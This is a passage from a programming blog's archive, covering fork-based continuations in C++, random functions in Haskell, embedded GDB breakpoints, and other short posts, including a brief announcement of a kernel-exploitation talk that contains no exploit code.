<pre class="sourceCode"><code class="sourceCode cpp"><span class="dt">const</span> <span class="dt">int</span> maze_size = <span class="dv">15</span>;<br /><span class="dt">char</span> maze[] =<br /> <span class="st">"X-------------+</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">" | |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"|--+ | | | |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| | | | --+ |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| | | |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"|-+---+--+- | |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| | | |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| | | ---+-+- |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| | | |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| +-+-+--| |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| | | |--- |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| | |</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"|--- -+-------|</span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"| </span><span class="ch">\n</span><span class="st">"</span><br /> <span class="st">"+------------- </span><span class="ch">\n</span><span class="st">"</span>;<br /><br /><span class="dt">void</span> solve_maze() {<br /> <span class="dt">int</span> x=<span class="dv">0</span>, y=<span class="dv">0</span>;<br /><br /> <span class="kw">while</span> ((x != maze_size<span class="dv">-1</span>)<br /> || (y != maze_size<span class="dv">-1</span>)) {<br /><br /> <span class="kw">if</span> (guess()) x++;<br /> <span class="kw">else</span> <span class="kw">if</span> (guess()) x--;<br /> <span class="kw">else</span> <span class="kw">if</span> (guess()) y++;<br /> <span class="kw">else</span> y--;<br /><br /> <span class="kw">if</span> ( (x < <span class="dv">0</span>) || (x >= maze_size) ||<br /> (y < <span class="dv">0</span>) || (y >= maze_size) )<br /> fail();<br /><br /> <span class="dt">const</span> <span class="dt">int</span> i = y*(maze_size<span class="dv">+1</span>) + x;<br /> <span class="kw">if</span> (maze[i] != ' ')<br /> fail();<br /> maze[i] = 'X';<br /> }<br /><br /> <span class="kw">for</span> (<span class="dt">char</span> c : maze) {<br /> <span class="kw">if</span> (c == 'X')<br /> std::cout << <span class="st">"</span><span class="ch">\e</span><span class="st">[1;32mX</span><span class="ch">\e</span><span class="st">[0m"</span>;<br /> <span class="kw">else</span><br /> std::cout << c;<br /> }<br />}</code></pre>
<p>Whether code or prose, the algorithm is pretty simple. Start at the upper-left corner. As long as we haven't reached the lower-right corner, guess a direction to move. Fail if we go off the edge, run into a wall, or find ourselves on a square we already visited.</p>
<p>Once we've reached the goal, we <a href="http://en.wikipedia.org/wiki/C%2B%2B11#Range-based_for-loop">iterate</a> over the <code>char</code> array and print it out with some rad <a href="http://pueblo.sourceforge.net/doc/manual/ansi_color_codes.html">ANSI color codes</a>.</p>
<p>Once again, we're making good use of the fact that our continuations reset global state. That's why we see <code>'X'</code> marks not on the failed detours, but only on a successful path through the maze. Here's what it looks like.</p>
<p><pre><code class="sourceCode">
<span class="kw">X</span>-------------+
<span class="kw">XXXXXXXX</span>| |
|--+ |<span class="kw">X</span>| | |
| | |<span class="kw">X</span>| --+ |
| |<span class="kw">XXXXX</span>| |
|-+---+--+-<span class="kw">X</span>| |
| |<span class="kw">XXX</span> | <span class="kw">XXX</span>|
| |<span class="kw">X</span>|<span class="kw">X</span>---+-+-<span class="kw">X</span>|
|<span class="kw">XXX</span>|<span class="kw">XXXXXX</span>|<span class="kw">XX</span>|
|<span class="kw">X</span>+-+-+--|<span class="kw">XXX</span> |
|<span class="kw">X</span>| | |--- |
|<span class="kw">XXXX</span> | |
|---<span class="kw">X</span>-+-------|
| <span class="kw">XXXXXXXXXXX</span>
+-------------<span class="kw">X</span>
</code></pre></p>
<h1 id="excess-backtracking">Excess backtracking</h1>
<p>We can run both examples in a single program.</p>
<pre class="sourceCode"><code class="sourceCode cpp"><span class="dt">int</span> main() {<br /> factor(<span class="dv">391</span>);<br /> solve_maze();<br />}</code></pre>
<p>If we change the maze to be unsolvable, we'll get:</p>
<pre><code>17 * 23 = 391
23 * 17 = 391
Nothing to be done.
</code></pre>
<p>Factoring 391 a different way won't change the maze layout, but the program doesn't know that. We can add a <a href="http://en.wikipedia.org/wiki/Cut_%28logic_programming%29">cut</a> primitive to eliminate unwanted backtracking.</p>
<pre class="sourceCode"><code class="sourceCode cpp"><span class="dt">void</span> cut() {<br /> checkpoint = boost::none;<br />}<br /><br /><span class="dt">int</span> main() {<br /> factor(<span class="dv">391</span>);<br /> cut();<br /> solve_maze();<br />}</code></pre><p></p>
<h1 id="the-implementation">The implementation</h1>
<p>For such a crazy idea, the code to implement <code>call_cc</code> with <code>fork</code> is actually pretty reasonable. Here's the core of it.</p>
<pre class="sourceCode"><code class="sourceCode cpp"><span class="kw">template</span> <<span class="kw">typename</span> T><br /><span class="co">// static</span><br />T cont<T>::call_cc(call_cc_arg f) {<br /> <span class="dt">int</span> fd[<span class="dv">2</span>];<br /> pipe(fd);<br /> <span class="dt">int</span> read_fd = fd[<span class="dv">0</span>];<br /> <span class="dt">int</span> write_fd = fd[<span class="dv">1</span>];<br /><br /> <span class="kw">if</span> (fork()) {<br /> <span class="co">// parent</span><br /> close(read_fd);<br /> <span class="kw">return</span> f( cont<T>(write_fd) );<br /> } <span class="kw">else</span> {<br /> <span class="co">// child</span><br /> close(write_fd);<br /> <span class="dt">char</span> buf[<span class="kw">sizeof</span>(T)];<br /> <span class="kw">if</span> (read(read_fd, buf, <span class="kw">sizeof</span>(T)) < ssize_t(<span class="kw">sizeof</span>(T)))<br /> exit(<span class="dv">0</span>);<br /> close(read_fd);<br /> <span class="kw">return</span> *<span class="kw">reinterpret_cast</span><T*>(buf);<br /> }<br />}<br /><br /><span class="kw">template</span> <<span class="kw">typename</span> T><br /><span class="dt">void</span> cont<T>::impl::invoke(<span class="dt">const</span> T &x) {<br /> write(m_pipe, &x, <span class="kw">sizeof</span>(T));<br /> exit(<span class="dv">0</span>);<br />}</code></pre>
<p>To capture a continuation, we fork the process. The resulting processes share a <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/pipe.2.html">pipe</a> which was created before the fork. The parent process will call <code>f</code> immediately, passing a <code>cont<T></code> object that holds onto the write end of this pipe. If that continuation is invoked with some argument <code>x</code>, the parent process will send <code>x</code> down the pipe and then exit. The child process wakes up from its <code>read</code> call, and returns <code>x</code> from <code>call_cc</code>.</p>
<p>There are a few more implementation details.</p>
<ul class="incremental">
<li><p>If the parent process exits, it will close the write end of the pipe, and the child's <code>read</code> will return 0, i.e. end-of-file. This prevents a buildup of unused continuation processes. But what if the parent deletes the last copy of some <code>cont<T></code>, yet keeps running? We'd like to kill the corresponding child process immediately.</p>
<p>This sounds like a use for a reference-counted smart pointer, but we want to hide this detail from the user. So we split off a private implementation class, <code>cont<T>::impl</code>, with a destructor that calls <code>close</code>. The user-facing class <code>cont<T></code> holds a <a href="http://en.cppreference.com/w/cpp/memory/shared_ptr"><code>std::shared_ptr</code></a> to a <code>cont<T>::impl</code>. And <code>cont<T>::operator()</code> simply calls <code>cont<T>::impl::invoke</code> through this pointer.</p></li>
<li><p>It would be nice to tell the compiler that <code>cont<T>::operator()</code> won't return, to avoid warnings like "control reaches end of non-void function". GCC provides the <a href="http://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html#index-g_t_0040code_007bnoreturn_007d-function-attribute-2543"><code>noreturn</code> attribute</a> for this purpose.</p></li>
<li><p>We want the <code>cont<T></code> constructor to be private, so we had to make <code>call_cc</code> a static member function of that class. But the examples above use a free function <code>call_cc<T></code>. It's easiest to implement the latter as a 1-line function that calls the former. The alternative is to make it a <a href="http://www.parashift.com/c++-faq-lite/friends.html">friend</a> function of <code>cont<T></code>, which requires some forward declarations and other noise.</p></li>
</ul>
<p>There are a number of limitations too.</p>
<ul class="incremental">
<li><p>As noted, the forked child process doesn't see changes to the parent's global state. This precludes some interesting uses of continuations, like implementing <a href="http://en.wikipedia.org/wiki/Continuation#Coroutines">coroutines</a>. In fact, I had trouble coming up with any application other than backtracking. You could work around this limitation with <a href="http://www.boost.org/doc/libs/1_48_0/doc/html/interprocess/quick_guide.html">shared memory</a>, but it seemed like too much hassle.</p></li>
<li><p>Each captured continuation can only be invoked once. This is easiest to observe if the code using continuations also invokes <code>fork</code> directly. It could possibly be fixed with additional <code>fork</code>ing inside <code>call_cc</code>.</p></li>
<li><p>Calling a continuation sends the argument through a pipe using a naive byte-for-byte copy. So the argument needs to be <a href="http://www.fnal.gov/docs/working-groups/fpcltf/Pkg/ISOcxx/doc/POD.html">Plain Old Data</a>, and had better not contain pointers to anything not shared by the two processes. This means we can't send continuations through other continuations, sad to say.</p></li>
<li><p>I left out the error handling you would expect in serious code, because this is anything but.</p></li>
<li><p>Likewise, I'm assuming that a single <code>write</code> and <code>read</code> will suffice to send the value. Robust code will need to loop until completion, handle <code>EINTR</code>, etc. Or use some higher-level IPC mechanism.</p></li>
<li><p>At some size, stack-allocating the receive buffer will become a problem.</p></li>
<li><p>It's slow. Well, actually, I'm impressed with the speed of <code>fork</code> on Linux. My machine solves both backtracking problems in about a second, <code>fork</code>ing about 2000 processes along the way. You can speed it up more with <a href="http://9fans.net/archive/2009/02/422">static linking</a>. But it's still far more overhead than the alternatives.</p></li>
</ul>
<p>As usual, you can get the code from <a href="https://github.com/kmcallister/cccallcc">GitHub</a>.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com65tag:blogger.com,1999:blog-1563623855220143059.post-30135619004046937032012-02-02T13:24:00.000-08:002012-02-02T13:35:21.740-08:00Generating random functions<p>How can we pick a random Haskell function? Specifically, we want to write an IO action</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">randomFunction </span><span class="ot">::</span> <span class="dt">IO</span> (<span class="dt">Integer</span> <span class="ot">-></span> <span class="dt">Bool</span>)</code></pre>
<p>with this behavior:</p>
<ul class="incremental">
<li><p>It produces a function of type <code>Integer -> Bool</code>.</p></li>
<li><p>It always produces a total function — a function which never throws an exception or enters an infinite loop.</p></li>
<li><p>It is equally likely to produce <em>any</em> such function.</p></li>
</ul>
<p>This is tricky, because there are infinitely many such functions (more on that later).</p>
<p>In another language we might produce something which looks like a function, but actually flips a coin on each new integer input. It would use mutable state to remember previous results, so that future calls will be consistent. But the Haskell type we gave for <code>randomFunction</code> forbids this approach. <code>randomFunction</code> uses IO effects to pick a random function, but the function it picks has access to neither coin flips nor mutable state.</p>
<p>Alternatively, we could build a lazy infinite data structure containing all the <code>Bool</code> answers we need. <code>randomFunction</code> could generate an <a href="http://lambda.haskell.org/platform/doc/current/ghc-doc/libraries/random-1.0.0.3/System-Random.html#v:randomRs">infinite list of random <code>Bool</code>s</a>, and produce a function <code>f</code> which indexes into that list. But this indexing will be inefficient in space and time. If the user calls <code>(f 10000000)</code>, we'll have to run 10,000,000 steps of the pseudo-random number generator, and build 10,000,000 list elements, before we can return a single <code>Bool</code> result.</p>
<p>We can improve this considerably by using a different infinite data structure. Though our solution is pure functional code, we <em>do</em> end up relying on mutation — the implicit mutation by which lazy thunks become evaluated data.</p>
<h1 id="the-data-structure">The data structure</h1>
<p></p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="kw">import</span> <span class="dt">System.Random</span><br /><span class="kw">import</span> <span class="dt">Data.List</span> ( genericIndex )</code></pre>
<p>Our data structure is an infinite binary tree:</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="kw">data</span> <span class="dt">Tree</span> <span class="fu">=</span> <span class="dt">Node</span> <span class="dt">Bool</span> <span class="dt">Tree</span> <span class="dt">Tree</span></code></pre>
<p>We can interpret such a tree as a function from non-negative <code>Integer</code>s to <code>Bool</code>s. If the <code>Integer</code> argument is zero, the root node holds our <code>Bool</code> answer. Otherwise, we shift off the least-significant bit of the argument, and look at the left or right subtree depending on that bit.</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">get </span><span class="ot">::</span> <span class="dt">Tree</span> <span class="ot">-></span> (<span class="dt">Integer</span> <span class="ot">-></span> <span class="dt">Bool</span>)<br />get (<span class="dt">Node</span> b _ _) <span class="dv">0</span> <span class="fu">=</span> b<br />get (<span class="dt">Node</span> _ x y) n <span class="fu">=</span><br /> <span class="kw">case</span> <span class="fu">divMod</span> n <span class="dv">2</span> <span class="kw">of</span><br /> (m, <span class="dv">0</span>) <span class="ot">-></span> get x m<br /> (m, _) <span class="ot">-></span> get y m</code></pre>
<p>Now we need to build a suitable tree, starting from a <a href="http://lambda.haskell.org/platform/doc/current/ghc-doc/libraries/random-1.0.0.3/System-Random.html#t:StdGen">random number generator state</a>. The standard <code>System.Random</code> module is not going to win any <a href="http://www.serpentine.com/blog/2009/09/19/a-new-pseudo-random-number-generator-for-haskell/">speed contests</a>, but it does have one extremely nice property: it supports an operation</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">split </span><span class="ot">::</span> <span class="dt">StdGen</span> <span class="ot">-></span> (<span class="dt">StdGen</span>, <span class="dt">StdGen</span>)</code></pre>
<p>The two generator states returned by <code>split</code> will (ideally) produce two independent streams of random values. We use <code>split</code> at each node of the infinite tree.</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">build </span><span class="ot">::</span> <span class="dt">StdGen</span> <span class="ot">-></span> <span class="dt">Tree</span><br />build g0 <span class="fu">=</span><br /> <span class="kw">let</span> (b, g1) <span class="fu">=</span> random g0<br /> (g2, g3) <span class="fu">=</span> split g1<br /> <span class="kw">in</span> <span class="dt">Node</span> b (build g2) (build g3)</code></pre>
<p>This is a recursive function with no base case. Conceptually, it produces an infinite tree. Operationally, it produces a single <code>Node</code> constructor, whose fields are lazily-deferred computations. As <code>get</code> explores this notional infinite tree, new <code>Node</code>s are created and randomness generated on demand.</p>
<p><code>get</code> traverses one level per bit of its input integer. So looking up the integer <em>n</em> involves traversing and possibly creating <span style="white-space:
nowrap;"><em>O</em>(log <em>n</em>)</span> nodes. This suggests good space and time efficiency, though only testing will say for sure.</p>
<p>Now we have all the pieces to solve the original puzzle. We build two trees, one to handle positive numbers and another for negative numbers.</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">randomFunction </span><span class="ot">::</span> <span class="dt">IO</span> (<span class="dt">Integer</span> <span class="ot">-></span> <span class="dt">Bool</span>)<br />randomFunction <span class="fu">=</span> <span class="kw">do</span><br /> neg <span class="ot"><-</span> build <span class="ot">`fmap`</span> newStdGen<br /> pos <span class="ot"><-</span> build <span class="ot">`fmap`</span> newStdGen<br /> <span class="kw">let</span> f n <span class="fu">|</span> n <span class="fu"><</span> <span class="dv">0</span> <span class="fu">=</span> get neg (<span class="fu">-</span>n)<br /> <span class="fu">|</span> <span class="fu">otherwise</span> <span class="fu">=</span> get pos n<br /> <span class="fu">return</span> f</code></pre>
<p></p>
<h1 id="testing">Testing</h1>
<p>Here's some code which helps us visualize one of these functions in the vicinity of zero:</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">test </span><span class="ot">::</span> (<span class="dt">Integer</span> <span class="ot">-></span> <span class="dt">Bool</span>) <span class="ot">-></span> <span class="dt">IO</span> ()<br />test f <span class="fu">=</span> <span class="fu">putStrLn</span> <span class="fu">$</span> <span class="fu">map</span> (char <span class="fu">.</span> f) [<span class="fu">-</span><span class="dv">40</span><span class="fu">..</span><span class="dv">40</span>] <span class="kw">where</span><br /> char <span class="dt">False</span> <span class="fu">=</span> <span class="ch">' '</span><br /> char <span class="dt">True</span> <span class="fu">=</span> <span class="ch">'-'</span></code></pre>
<p>Now we can test <code>randomFunction</code> in GHCi:</p>
<pre><code><span class="Prompt">λ></span> <span class="Entry">randomFunction >>= test</span>
---- - --- - - - - -- - - - -- --- -- -- - -- - - -- --- --
<span class="Prompt">λ></span> <span class="Entry">randomFunction >>= test</span>
- ---- - - - - - - -- - - --- --- -- - -- - -- - - - - - -- -
<span class="Prompt">λ></span> <span class="Entry">randomFunction >>= test</span>
- --- - - - -- --- - -- - - - - - ---- - - --- - - -
</code></pre>
<p>Each result from <code>randomFunction</code> is indeed a function: it always gives the same output for a given input. This much should be clear from the fact that we haven't used any <a href="http://lambda.haskell.org/platform/doc/current/ghc-doc/libraries/base-4.3.1.0/System-IO-Unsafe.html">unsafe shenanigans</a>. But we can also demonstrate it empirically:</p>
<pre><code><span class="Prompt">λ></span> <span class="Entry">f <- randomFunction</span>
<span class="Prompt">λ></span> <span class="Entry">test f</span>
- ----- - - -- - - --- -- - - - - - - -- - - ---- - - - - - ---
<span class="Prompt">λ></span> <span class="Entry">test f</span>
- ----- - - -- - - --- -- - - - - - - -- - - ---- - - - - - ---
</code></pre>
<p>Let's also test the speed on some very large arguments:</p>
<pre><code><span class="Prompt">λ></span> <span class="Entry">:set +s</span>
<span class="Prompt">λ></span> <span class="Entry">f 10000000</span>
True
(0.03 secs, 12648232 bytes)
<span class="Prompt">λ></span> <span class="Entry">f (2^65536)</span>
True
(1.10 secs, 569231584 bytes)
<span class="Prompt">λ></span> <span class="Entry">f (2^65536)</span>
True
(0.26 secs, 426068040 bytes)
</code></pre>
<p>The second call with <code>2^65536</code> is faster because the tree nodes already exist in memory. We can expect our tests to be faster yet if we compile with <code>ghc -O</code> rather than using GHCi's bytecode interpreter.</p>
<h1 id="how-many-functions">How many functions?</h1>
<p>Assume we have infinite memory, so that <code>Integer</code>s really can be unboundedly large. And let's ignore negative numbers, for simplicity. How many total functions of type <code>Integer -> Bool</code> are there?</p>
<p>Suppose we made an infinite list <code>xs</code> of all such functions. Now consider this definition:</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">diag </span><span class="ot">::</span> [<span class="dt">Integer</span> <span class="ot">-></span> <span class="dt">Bool</span>] <span class="ot">-></span> (<span class="dt">Integer</span> <span class="ot">-></span> <span class="dt">Bool</span>)<br />diag xs n <span class="fu">=</span> <span class="fu">not</span> <span class="fu">$</span> genericIndex xs n n</code></pre>
<p>For an argument <code>n</code>, <code>diag xs</code> looks at what the <code>n</code>th function of <code>xs</code> would return, and returns the opposite. This means the function <code>diag xs</code> differs from every function in our supposedly comprehensive list of functions. This contradiction shows that there are <a href="http://en.wikipedia.org/wiki/Uncountable_set">uncountably many</a> total functions of type <code>Integer -> Bool</code>. It's closely related to <a href="http://en.wikipedia.org/wiki/Cantor%27s_diagonal_argument">Cantor's diagonal argument</a> that the real numbers are uncountable.</p>
<p>But wait, there are only countably many Haskell programs! In fact, you can encode each one as a number. There may be uncountably many functions, but there are only a countable number of <em>computable</em> functions. So the proof breaks down if you restrict it to a real programming language like Haskell.</p>
<p>In that context, the existence of <code>xs</code> implies that there is some <em>algorithm</em> to enumerate the computable total functions. This is the assumption we ultimately contradict. The set of computable total functions is not <a href="http://en.wikipedia.org/wiki/Recursively_enumerable_language">recursively enumerable</a>, even though it is countable. Intuitively, to produce a single element of this set, we would have to verify that the function halts on every input, which is <a href="http://en.wikipedia.org/wiki/Halting_problem">impossible in the general case</a>.</p>
<p>Now let's revisit <code>randomFunction</code>. Any function it produces is computable: the algorithm is a combination of the pseudo-random number procedure and our tree traversal. In this sense, <code>randomFunction</code> provides extremely poor randomness; it only selects values from a particular <a href="http://en.wikipedia.org/wiki/Null_set">measure zero</a> subset of its result type! But if you read the type constructor <code>(->)</code> as "computable function", as one should in a programming language, then <code>randomFunction</code> is closer to doing what it says it does.</p>
<p><strong>Edit:</strong> See also Luke Palmer's <a href="http://lukepalmer.wordpress.com/2012/01/26/computably-uncountable/">recent article on this subject</a>.</p>
<h1 id="see-also">See also</h1>
<p>The libraries <a href="http://hackage.haskell.org/package/data-memocombinators">data-memocombinators</a> and <a href="http://hackage.haskell.org/package/MemoTrie">MemoTrie</a> use similar structures, not for building random functions but for <a href="http://en.wikipedia.org/wiki/Memoization">memoizing</a> existing ones.</p>
<p>You can download this post as a <a href="https://github.com/kmcallister/blog-misc/blob/master/random-function/random-function.lhs">Literate Haskell file</a> and play with the code.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com85tag:blogger.com,1999:blog-1563623855220143059.post-85516021441361317942012-01-28T09:02:00.000-08:002012-01-28T09:02:23.660-08:00Writing kernel exploits<p>Yesterday I gave a talk about writing kernel exploits. I've posted the <a href="http://ugcs.net/~keegan/talks/kernel-exploit/talk.pdf">slides [PDF]</a>. Here is the original description:</p>
<blockquote>
<p>Did you know that a NULL pointer can compromise your entire system? Do you know how UNIX pipes, multithreading, and an obscure network protocol from 1981 are combined to take over Linux machines today? OS kernels are full of strange and interesting vulnerabilities, thanks to the subtle nature of systems code. And the kernel's ultimate authority is the ultimate prize for an attacker.</p>
<p>In this talk you will learn how kernel exploits work, with detailed code examples. Compared to userspace, exploiting the kernel requires a whole different bag of tricks, and we'll cover some of the most important ones. We will focus on Linux systems and x86 hardware, though most ideas will generalize. We'll start with a few toy examples, then look at some real, high-profile Linux exploits from the past two years.</p>
<p>You will also see how to protect your own Linux machines against kernel exploits. We'll talk about the continual cat-and-mouse game between system administrators and those who would attack even hardened kernels.</p>
</blockquote>
<p>Thanks again to <a href="http://sipb.mit.edu/">SIPB</a> for giving me a venue to talk about whatever I find interesting.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com41tag:blogger.com,1999:blog-1563623855220143059.post-36871440621730921772012-01-19T09:51:00.000-08:002012-01-19T09:51:52.208-08:00Embedding GDB breakpoints in C source code<p>Have you ever wanted to embed <a href="http://www.gnu.org/software/gdb/">GDB</a> breakpoints in C source code?</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="dt">int</span> main() {<br /> printf(<span class="st">"Hello,</span><span class="ch">\n</span><span class="st">"</span>);<br /> EMBED_BREAKPOINT;<br /> printf(<span class="st">"world!</span><span class="ch">\n</span><span class="st">"</span>);<br /> EMBED_BREAKPOINT;<br /> <span class="kw">return</span> <span class="dv">0</span>;<br />}</code></pre>
<p>One way is to directly insert your CPU's breakpoint instruction. On x86:</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="ot">#define EMBED_BREAKPOINT</span> <span class="kw">asm</span> <span class="kw">volatile</span> (<span class="st">"int3;"</span>)</code></pre>
<p>There are at least two problems with this approach:</p>
<ul class="incremental">
<li><p>They aren't real GDB breakpoints. You can't <code>disable</code> them, count how many times they've been hit, etc.</p></li>
<li><p>If you run the program outside GDB, the breakpoint instruction will crash your process.</p></li>
</ul>
<p>Here is a small hack which solves both problems:</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="ot">#define EMBED_BREAKPOINT</span> \
<span class="kw">asm</span>(<span class="st">"0:"</span> \
<span class="st">".pushsection embed-breakpoints;"</span> \
<span class="st">".quad 0b;"</span> \
<span class="st">".popsection;"</span>)</code></pre>
<p>We place a <a href="http://sourceware.org/binutils/docs-2.21/as/Symbol-Names.html#index-local-labels-217">local label</a> into the instruction stream, and then save its address in the <code>embed-breakpoints</code> linker section.</p>
<p>Then we need to convert these addresses into GDB <code>breakpoint</code> commands. I wrote a tool that does this, as a wrapper for the <code>gdb</code> command. Here's how it works, on our initial example:</p>
<pre><code><span class="Prompt">$</span> <span class="Entry">gcc -g -o example example.c</span>
<span class="Prompt">$</span> <span class="Entry">./gdb-with-breakpoints ./example</span>
Reading symbols from example...done.
Breakpoint 1 at 0x4004f2: file example.c, line 8.
Breakpoint 2 at 0x4004fc: file example.c, line 10.
<span class="Prompt">(gdb)</span> <span class="Entry">run</span>
Starting program: example
Hello,
Breakpoint 1, main () at example.c:8
8 printf("world!\n");
<span class="Prompt">(gdb)</span> <span class="Entry">info breakpoints</span>
Num Type Disp Enb Address What
1 breakpoint keep y 0x00000000004004f2 in main at example.c:8
breakpoint already hit 1 time
2 breakpoint keep y 0x00000000004004fc in main at example.c:10
</code></pre>
<p>If we run the program normally, or in GDB without the wrapper, the <code>EMBED_BREAKPOINT</code> statements do nothing. The breakpoint addresses aren't even loaded into memory, because the <code>embed-breakpoints</code> section is not marked as <a href="http://sourceware.org/binutils/docs/as/Section.html#index-Section-Stack-443">allocatable</a>.</p>
<p>You can find all of the code <a href="https://github.com/kmcallister/embedded-breakpoints">on GitHub</a> under a BSD license. I've done only minimal testing, but I hope it will be a useful debugging tool for someone. Let me know if you find any bugs or improvements. You can comment here, or find my email address on GitHub.</p>
<p>I'm not sure about the decision to write the GDB wrapper in C using <a href="http://sourceware.org/binutils/docs/bfd/">BFD</a>. I also considered Haskell and <a href="http://hackage.haskell.org/package/elf"><code>elf</code></a>, or Python and the new <a href="http://eli.thegreenplace.net/2012/01/06/pyelftools-python-library-for-parsing-elf-and-dwarf/">pyelftools</a>. One can probably do something nicer using the GDB <a href="http://sourceware.org/gdb/onlinedocs/gdb/Python.html">Python API</a>, which was added <a href="http://lwn.net/Articles/356044/">a few years ago</a>.</p>
<p>This code depends on a GNU toolchain: it uses GNU C extensions, GNU assembler syntax, and BFD. The GDB wrapper uses the Linux <a href="http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html"><code>proc</code> filesystem</a>, so that it can pass to GDB a temporary file which has already been <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/unlink.2.html">unlinked</a>. You could port it to other UNIX systems by changing the tempfile handling. It should work on a variety of CPU architectures, but I've only tested it on 32- and 64-bit x86.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com761tag:blogger.com,1999:blog-1563623855220143059.post-42456080454893310872012-01-09T22:41:00.000-08:002012-01-10T01:04:00.829-08:00Zombie 6.001 starts tomorrow!<p>The <a href="http://web.mit.edu/alexmv/6.S184/">student-run revival</a> of MIT's <a href="http://sicp.csail.mit.edu/Spring-2007/">famous intro CS class</a> starts tomorrow! 6.001 and its text <a href="http://mitpress.mit.edu/sicp/full-text/book/book.html"><em>SICP</em></a> had a singular influence on the teaching of introductions to computer science — not to be confused with intro to programming, worthwhile though that subject may be. After the unfortunate demise of 6.001 at MIT, some former TAs reanimated the class as an intense four-week experience. As <a href="http://web.mit.edu/alexmv/6.S184/">their description</a> says:</p>
<blockquote>
<p>Zombie-like, 6.001 rises from the dead to threaten students again. Unlike a zombie, though, it's moving quite a bit faster than it did the first time. Like the original, don't walk into the class expecting that it will teach you Scheme; instead, it attempts to teach thought patterns for computer science, and the structure and interpretation of computer programs. Three projects will be assigned and graded. Prereq: some programming experience; high confusion threshold.</p>
</blockquote>
<p>I'm helping teach it this year, and it should be a lot of fun. You can <a href="http://web.mit.edu/alexmv/6.S184/">follow along online</a> or if you're in the area, come to lectures Tuesdays and Thursdays, 19:00 to 21:00 in 32-044 (that's MIT building 32, room 044).</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com80tag:blogger.com,1999:blog-1563623855220143059.post-83750497028465449842011-12-21T16:59:00.000-08:002011-12-21T16:59:42.185-08:00Propane: Functional synthesis of images and animations in Haskell<p>I just released <a href="http://hackage.haskell.org/package/propane">Propane</a>, a Haskell libary for functional synthesis of images and animations. This is a generalization of my <a href="http://repa.ouroborus.net/">Repa</a>-based <a href="http://mainisusuallyafunction.blogspot.com/2011/10/quasicrystals-as-sums-of-waves-in-plane.html">quasicrystal code</a>.</p>
<p>It's based on the same ideas as <a href="http://conal.net/Pan/">Pan</a> and some other projects. An image is a function assigning a color to each point in the plane. Similarly, an animation assigns an image to each point in time. Haskell's tools for functional and declarative programming can be used directly on images and animations.</p>
<p>For example, you can draw a red-green gradient like so:</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="kw">import</span> <span class="dt">Propane</span><br /><br />main <span class="fu">=</span> saveImage <span class="st">"out.png"</span> (<span class="dt">Size</span> <span class="dv">400</span> <span class="dv">400</span>) im <span class="kw">where</span><br /> im (x,y) <span class="fu">=</span> cRGB (unbal x) (unbal y) <span class="dv">0</span></code></pre>
<p>Here <code>im</code> is the image as a function, mapping an (<em>x</em>,<em>y</em>) coordinate to a color. <code>unbal</code> is a function provided by Propane, which just maps the interval [-1, 1] to [0, 1].</p>
<p>The source package includes an animated quasicrystal and several other <a href="https://github.com/kmcallister/propane/tree/master/examples">examples</a>. Propane uses <a href="http://repa.ouroborus.net/">Repa</a> for data-parallel array computations. That means it automatically uses multiple CPU cores for rendering, provided the program is compiled and run with threads enabled. That said, it's not yet been optimized for speed in other ways.</p>
<p>This is just a toy right now, but do let me know if you come up with cool enhancements or examples!</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com133tag:blogger.com,1999:blog-1563623855220143059.post-64818000660238725332011-11-07T05:39:00.000-08:002011-11-07T05:53:21.824-08:00Self-modifying code for debug tracing in quasi-C<p>Printing a program's state as it runs is the simple but effective debugging tool of programmers everywhere. For efficiency, we usually disable the most verbose output in production. But sometimes you need to diagnose a problem in a deployed system. It would be convenient to declare "tracepoints" and enable them at runtime, like so:</p>
<pre class="sourceCode"><code class="sourceCode c">tracepoint foo_entry;<br /><br /><span class="dt">int</span> foo(<span class="dt">int</span> n) {<br /> TRACE(foo_entry, <span class="st">"called foo(%d)</span><span class="ch">\n</span><span class="st">"</span>, n);<br /> <span class="co">// ...</span><br />}<br /><br /><span class="co">// Called from UI, monitoring interface, etc.</span><br /><span class="dt">void</span> debug_foo() {<br /> enable(&foo_entry);<br />}</code></pre>
<p>Here's a simple implementation of this API:</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="kw">typedef</span> <span class="dt">int</span> tracepoint;<br /><br /><span class="ot">#define TRACE(_point, _args...) \
do { \
if (_point) printf(_args); \
} while (0)</span><br /><br /><span class="dt">static</span> <span class="kw">inline</span> <span class="dt">void</span> enable(tracepoint *point) {<br /> *point = <span class="dv">1</span>;<br />}</code></pre>
